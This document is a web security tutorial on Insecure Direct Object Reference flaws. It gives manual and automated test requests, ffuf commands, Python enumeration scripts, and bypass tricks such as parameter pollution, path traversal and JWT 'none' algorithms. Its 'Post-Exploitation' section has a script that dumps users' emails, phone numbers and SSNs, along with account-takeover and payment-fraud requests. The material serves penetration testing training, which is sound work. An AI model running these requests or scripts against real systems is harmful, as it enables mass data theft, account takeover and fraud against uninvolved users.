Insecure Direct Object Reference (IDOR)
Insecure Direct Object Reference (IDOR) is a web security vulnerability that occurs when an application exposes a direct reference to an internal implementation object, such as a database key or filename. Attackers can manipulate these references to access unauthorized data.
How It Works
IDOR vulnerabilities arise when an application uses user-supplied input to access objects directly without proper authorization checks. For example, consider this URL:
https://bank.com/account?id=12345
If the application doesn't verify that the logged-in user owns account 12345, an attacker could simply change the ID:
https://bank.com/account?id=12346
This could expose another user's account information if authorization checks are missing.
Detection
Manual Testing
URL Parameter Tests
Testing for IDOR in URL parameters by manipulating identifiers:
# Step 1: Identify direct object references
https://site.com/user/profile?id=123
https://site.com/api/document?doc_id=456
https://site.com/order/view?order=789
# Step 2: Change ID to another value
https://site.com/user/profile?id=124 # Increment by 1
https://site.com/api/document?doc_id=1 # Try minimal value
https://site.com/order/view?order=100 # Try different ranges
# Step 3: Observe response
# - Same access level: Vulnerable to IDOR
# - Different access: Check if sensitive data exposed
# - Error message: Authorization might be in place
# - 403/401: Proper access control exists
POST Body Tests
Testing IDOR in request bodies:
# Original request
POST /api/update-profile
{
"user_id": 123,
"email": "user@example.com"
}
# Modified request - Try changing user_id
POST /api/update-profile
{
"user_id": 124,
"email": "attacker@example.com"
}
# Array-based references
POST /api/delete-users
{
"ids": [123]
}
# Try adding other IDs
POST /api/delete-users
{
"ids": [123, 124, 125]
}
HTTP Header Tests
Testing for IDOR in HTTP headers:
# User-ID in custom headers
GET /api/profile HTTP/1.1
X-User-ID: 123
X-Account-ID: 456
# Try modifying header values
GET /api/profile HTTP/1.1
X-User-ID: 124
X-Account-ID: 457
# Authorization tokens with embedded IDs
Authorization: Bearer eyJ1c2VyX2lkIjoxMjN9...
# Decode, modify user_id, re-encode
Cookie Tests
Testing IDOR through cookie manipulation:
# Original cookie
Cookie: user_id=123; session=abc123
# Modified cookie
Cookie: user_id=124; session=abc123
# Base64 encoded cookies
Cookie: user_data=eyJ1c2VyX2lkIjoxMjN9
# Decode: {"user_id":123}
# Modify to: {"user_id":124}
# Encode and test
File Access Tests
Testing for IDOR in file operations:
# Document downloads
https://site.com/download?file=document_123.pdf
https://site.com/download?file=document_124.pdf
# Image access
https://site.com/images/user/123/avatar.jpg
https://site.com/images/user/124/avatar.jpg
# Backup files
https://site.com/backups/user_123_backup.zip
https://site.com/backups/user_124_backup.zip
API Endpoint Tests
Systematically testing API endpoints for IDOR:
# RESTful API patterns
GET /api/users/123 # Get user details
PUT /api/users/124 # Update different user
DELETE /api/users/125 # Delete different user
# Nested resources
GET /api/companies/1/employees/123 # Access employee
GET /api/companies/2/employees/123 # Try different company
# GraphQL queries
query {
user(id: 123) { email, phone, ssn }
# Try: user(id: 124)
}
Automated Discovery
Using Burp Suite
To learn how to use Burp Suite in detail, you can go to our related training page by click here.
# Step 1: Configure Burp Suite Intruder
1. Capture request with ID parameter
2. Send to Intruder (Ctrl+I)
3. Mark ID parameter as payload position: §123§
# Step 2: Configure payload
- Payload type: Numbers (sequential)
- From: 1, To: 10000, Step: 1
# Step 3: Set matching rules
- Grep Match: Look for sensitive keywords
- Filter by status codes
- Sort by response length
# Step 4: Analyze results
- Different response sizes indicate different data
- Same status codes might still contain different data
- Check response times for delays
Using FFUF
# Basic IDOR fuzzing with ffuf
ffuf -u https://target.com/api/user/FUZZ -w numbers.txt -mc 200
# Custom wordlist generation
seq 1 10000 > ids.txt
ffuf -u https://target.com/api/user/FUZZ -w ids.txt
# With authentication
ffuf -u https://target.com/api/user/FUZZ \
-w ids.txt \
-H "Authorization: Bearer TOKEN" \
-mc 200,301,302 \
-fs 0
# POST request fuzzing
ffuf -u https://target.com/api/user \
-w ids.txt \
-X POST \
-d '{"user_id":"FUZZ"}' \
-H "Content-Type: application/json"
Using Custom Scripts
# Python script for IDOR testing
import requests
base_url = "https://target.com/api/user/"
headers = {"Authorization": "Bearer YOUR_TOKEN"}
valid_responses = []
for user_id in range(1, 1000):
url = base_url + str(user_id)
response = requests.get(url, headers=headers)
if response.status_code == 200:
# Check if response contains sensitive data
if "email" in response.text or "phone" in response.text:
valid_responses.append({
"id": user_id,
"status": response.status_code,
"length": len(response.text),
"data": response.json()
})
print(f"[+] Found: User ID {user_id}")
# Save results
with open("idor_results.json", "w") as f:
json.dump(valid_responses, f, indent=2)
Attack Vectors
Numeric ID Manipulation
Exploiting sequential numeric identifiers:
# Basic increment/decrement
Original: /api/invoice/1234
Test: /api/invoice/1235
Test: /api/invoice/1233
# Range testing
for id in {1..1000}; do
curl https://api.target.com/user/$id -H "Auth: token"
done
# Step-based testing
# Some systems skip IDs (e.g., 100, 200, 300)
for id in {100..10000..100}; do
curl https://api.target.com/order/$id
done
GUID/UUID Manipulation
Attacking seemingly random identifiers:
# UUID enumeration (if leaked elsewhere)
# UUIDs might be leaked in:
# - JavaScript files
# - API responses for other users
# - Public profiles
# - Email notifications
# Example leaked UUIDs
curl https://api.target.com/user/550e8400-e29b-41d4-a716-446655440000
curl https://api.target.com/user/550e8400-e29b-41d4-a716-446655440001
# Predictable UUID generation
# Some UUIDs are time-based (UUID v1)
# These can be predicted if you know the timestamp
Hash-Based ID Bypass
Exploiting weak hashing or encoding:
# MD5 hashed IDs
# If ID is MD5(user_id), you can generate your own
echo -n "123" | md5sum # 202cb962ac59075b964b07152d234b70
# Test: /api/user/202cb962ac59075b964b07152d234b70
# Base64 encoded IDs
echo "123" | base64 # MTIzCg==
echo "124" | base64 # MTI0Cg==
# Test: /api/user/MTI0Cg==
# URL-safe Base64
echo -n "user:123" | base64 # dXNlcjoxMjM=
echo -n "user:124" | base64 # dXNlcjoxMjQ=
Parameter Pollution
Using multiple parameters with the same name:
# Standard request
GET /api/profile?user_id=123
# Parameter pollution attempts
GET /api/profile?user_id=123&user_id=124
GET /api/profile?user_id=124&user_id=123
GET /api/profile?user_id[]=123&user_id[]=124
# JSON parameter pollution
POST /api/update
{
"user_id": 123,
"user_id": 124,
"email": "attacker@evil.com"
}
Mass Assignment
Exploiting missing input validation:
# Original intended request
POST /api/update-profile
{
"name": "John Doe",
"email": "john@example.com"
}
# Adding unauthorized fields
POST /api/update-profile
{
"name": "John Doe",
"email": "john@example.com",
"user_id": 124, # Try to modify another user
"role": "admin", # Try privilege escalation
"is_verified": true, # Try to bypass verification
"balance": 999999 # Try to modify sensitive data
}
Blind IDOR Exploitation
Exploiting IDOR when direct feedback isn't available:
# Delete operations
DELETE /api/user/123 # Your account - check if deleted
DELETE /api/user/124 # Other account - no direct feedback
# Time-based detection
# If operation takes longer, it might be processing
time curl -X DELETE https://api.target.com/user/124
# Out-of-band detection
DELETE /api/user/124
# Check:
# - Email notifications sent to victim
# - Webhook callbacks
# - Database logs (if you gain access later)
# State change verification
POST /api/friend-request?to_user=124
# Check victim's profile or friend list if accessible
Post-Exploitation
Data Enumeration
Systematically extracting data:
# Extract all user data
import requests
import json
base_url = "https://target.com/api/user/"
headers = {"Authorization": "Bearer TOKEN"}
users_data = []
for user_id in range(1, 10000):
try:
response = requests.get(
f"{base_url}{user_id}",
headers=headers,
timeout=5
)
if response.status_code == 200:
user_data = response.json()
users_data.append(user_data)
# Extract sensitive fields
sensitive_info = {
"id": user_id,
"email": user_data.get("email"),
"phone": user_data.get("phone"),
"ssn": user_data.get("ssn"),
"address": user_data.get("address")
}
print(f"[+] User {user_id}: {sensitive_info}")
except Exception as e:
continue
# Save complete dump
with open("user_dump.json", "w") as f:
json.dump(users_data, f, indent=2)
Privilege Escalation
Exploiting IDOR for privilege escalation:
# Accessing admin functionality
GET /api/admin/users/123
GET /api/admin/settings
# Modifying user roles
PUT /api/user/124
{
"role": "admin",
"permissions": ["read", "write", "delete"]
}
# Accessing restricted resources
GET /api/company/1/financial-reports
GET /api/system/config
Account Takeover
Using IDOR to take over accounts:
# Password reset via IDOR
POST /api/reset-password
{
"user_id": 124,
"new_password": "attacker_password"
}
# Email change via IDOR
PUT /api/user/124/email
{
"new_email": "attacker@evil.com"
}
# Adding authentication method
POST /api/user/124/add-phone
{
"phone": "+1234567890"
}
Financial Fraud
Exploiting IDOR in financial operations:
# Modifying transaction amounts
PUT /api/transaction/123
{
"amount": 0.01,
"status": "completed"
}
# Accessing other users' payment methods
GET /api/user/124/payment-methods
POST /api/payment/charge
{
"user_id": 124,
"payment_method_id": "pm_abc123",
"amount": 100
}
# Refund manipulation
POST /api/refund
{
"transaction_id": 124,
"account_id": 999 # Attacker's account
}
Bypass Techniques
Weak Authorization Bypass
Bypassing insufficient authorization checks:
# Role-based bypass
# If authorization only checks role, not ownership
GET /api/admin/user/123 # Blocked
GET /api/user/123 # Check if accessible with user role
# HTTP Method bypass
GET /api/user/123 # Blocked
POST /api/user/123 # Try different method
HEAD /api/user/123 # Try HEAD request
Path Traversal Bypass
Using path manipulation to bypass checks:
# Directory traversal
GET /api/user/123
GET /api/user/../user/124
GET /api/user/./124
# Encoding bypass
GET /api/user/%2e%2e%2fuser%2f124
GET /api/user/..%2fuser%2f124
# Null byte injection (older systems)
GET /api/user/123%00/../../user/124
Content-Type Bypass
Changing content type to bypass validation:
# Original JSON request (blocked)
POST /api/update-profile
Content-Type: application/json
{"user_id": 124}
# Try XML
POST /api/update-profile
Content-Type: application/xml
<user>
<user_id>124</user_id>
</user>
# Try form data
POST /api/update-profile
Content-Type: application/x-www-form-urlencoded
user_id=124
Array Wrapping
Wrapping parameters in arrays:
# Blocked
{
"user_id": 124
}
# Try array wrapping
{
"user_id": [124]
}
# Try nested object
{
"user": {
"id": 124
}
}
# Try multiple values
{
"user_id": [123, 124]
}
Token Confusion
Exploiting token handling issues:
# Using expired tokens
# Some systems validate token but ignore expiry
# Using tokens from different endpoints
# Token from /api/v1/user might work on /api/v2/user
# Missing token validation
# Some endpoints might not validate token at all
curl https://api.target.com/user/124
# Try without Authorization header
# JWT algorithm confusion
# Change alg from RS256 to HS256
# Change alg to "none"
Wildcard Exploitation
Using wildcards in ID parameters:
# Wildcard in IDs
GET /api/user/*
GET /api/user/%
GET /api/user/_
# Regex exploitation
GET /api/user/.*
GET /api/user/[0-9]+
# Range specification
GET /api/users?ids=1-100
GET /api/users?ids=*
Common Tools
Tool | Description | Primary Use Case |
---|---|---|
Burp Suite | Web vulnerability scanner | IDOR discovery and exploitation |
FFUF | Fast web fuzzer | ID enumeration |
Autorize | Burp extension | Authorization testing |
AuthMatrix | Burp extension | Access control testing |
InQL | Burp extension | GraphQL IDOR testing |
Postman | API testing tool | Manual IDOR testing |